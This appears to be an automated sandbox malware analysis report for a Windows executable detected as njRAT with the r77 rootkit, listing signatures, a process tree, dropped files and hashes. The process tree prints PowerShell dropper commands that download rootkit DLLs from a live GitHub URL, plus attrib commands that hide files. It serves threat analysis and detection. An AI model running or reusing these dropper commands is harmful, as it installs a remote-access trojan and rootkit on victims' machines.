Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/01/2024, 08:16

General

  • Target
    6f2bf69913f6bf47a6ae722c9640a311.exe
  • Size 46KB
  • Sample240122-j5798scda9
  • SHA256 8920797352a55d0413ab4642e7e2dcd049d702678f6870f6f58ac64e814e5720
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/NGROKC/CTC/raw/main/CTC64.dll

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/NGROKC/CTC/raw/main/CTC86.dll

Signatures

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • r77

    r77 is an open-source, userland rootkit.

  • r77 rootkit payload 2 IoCs

    Detects the payload of the r77 rootkit.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Views/modifies file attributes 1 TTPs 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6f2bf69913f6bf47a6ae722c9640a311.exe
    "C:\Users\Admin\AppData\Local\Temp\6f2bf69913f6bf47a6ae722c9640a311.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4352
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D64.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4040
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC64.dll','C:\Users\Admin\AppData\Local\Temp\r77-x64.dll');
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2308
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D86.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1284
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC86.dll','C:\Users\Admin\AppData\Local\Temp\r77-x86.dll');
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3936
    • C:\Windows\SYSTEM32\attrib.exe
      attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Subdir"
      2⤵
      • Views/modifies file attributes
      PID:2304
    • C:\Windows\SYSTEM32\attrib.exe
      attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Subdir\$77-google.exe"
      2⤵
      • Views/modifies file attributes
      PID:4948
    • C:\Windows\SYSTEM32\attrib.exe
      attrib +h +r +s "C:\Users\Admin\AppData\Local\"
      2⤵
      • Views/modifies file attributes
      PID:4752
    • C:\Windows\SYSTEM32\attrib.exe
      attrib +h +r +s "C:\Users\Admin\AppData\Local\Temp\cjc3LXg4Ni5kbGw="
      2⤵
      • Views/modifies file attributes
      PID:3588
    • C:\Windows\SYSTEM32\attrib.exe
      attrib +h +r +s "C:\Users\Admin\AppData\Local\Temp\r77-x64.dll"
      2⤵
      • Views/modifies file attributes
      PID:1360

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953
        • MD5 SHA1 SHA512

        D64.bat

        • Path C:\Users\Admin\AppData\Local\Temp\D64.bat
        • Size 222B
        • SHA256 a3f1a82cc9957b71b5409c6280e97e8af14bdc3c6fb5ad195708f8c95a6f4d40
        • MD5 SHA1 SHA512

        D86.bat

        • Path C:\Users\Admin\AppData\Local\Temp\D86.bat
        • Size 222B
        • SHA256 f818bbd6afa5d80f4b2d8c2d090a2a487d3cd69ffd32214a169d62282b7cb861
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_vd5xebea.5jf.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vd5xebea.5jf.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        r77-x64.dll

        • Path C:\Users\Admin\AppData\Local\Temp\r77-x64.dll
        • Size 147KB
        • SHA256 919a332e85d7c32a6f0a1bdd15b211b8b273b73fe05a553ea0f230a0958586c7
        • MD5 SHA1 SHA512 SSDEEP

        r77-x86.dll

        • Path C:\Users\Admin\AppData\Local\Temp\r77-x86.dll
        • Size 114KB
        • SHA256 173f74176d13c235d744f9e32d658f6301a6b1aa81a014060ba763b55e516fe3
        • MD5 SHA1 SHA512 SSDEEP

        memory/2308-16-0x00007FFBDFB50000-0x00007FFBE0611000-memory.dmp

        memory/2308-22-0x00007FFBDFB50000-0x00007FFBE0611000-memory.dmp

        memory/2308-17-0x000002A57CA20000-0x000002A57CA30000-memory.dmp

        memory/2308-18-0x000002A57CA20000-0x000002A57CA30000-memory.dmp

        memory/2308-15-0x000002A57C990000-0x000002A57C9B2000-memory.dmp

        memory/3936-39-0x000001FA48270000-0x000001FA48280000-memory.dmp

        memory/3936-38-0x00007FFBDFB50000-0x00007FFBE0611000-memory.dmp

        memory/3936-42-0x00007FFBDFB50000-0x00007FFBE0611000-memory.dmp

        memory/4352-0-0x0000000000770000-0x0000000000782000-memory.dmp

        memory/4352-2-0x00007FFBDFB50000-0x00007FFBE0611000-memory.dmp

        memory/4352-45-0x000000001BC90000-0x000000001BCA0000-memory.dmp

        memory/4352-46-0x00007FFBDFB50000-0x00007FFBE0611000-memory.dmp

        memory/4352-47-0x000000001BC90000-0x000000001BCA0000-memory.dmp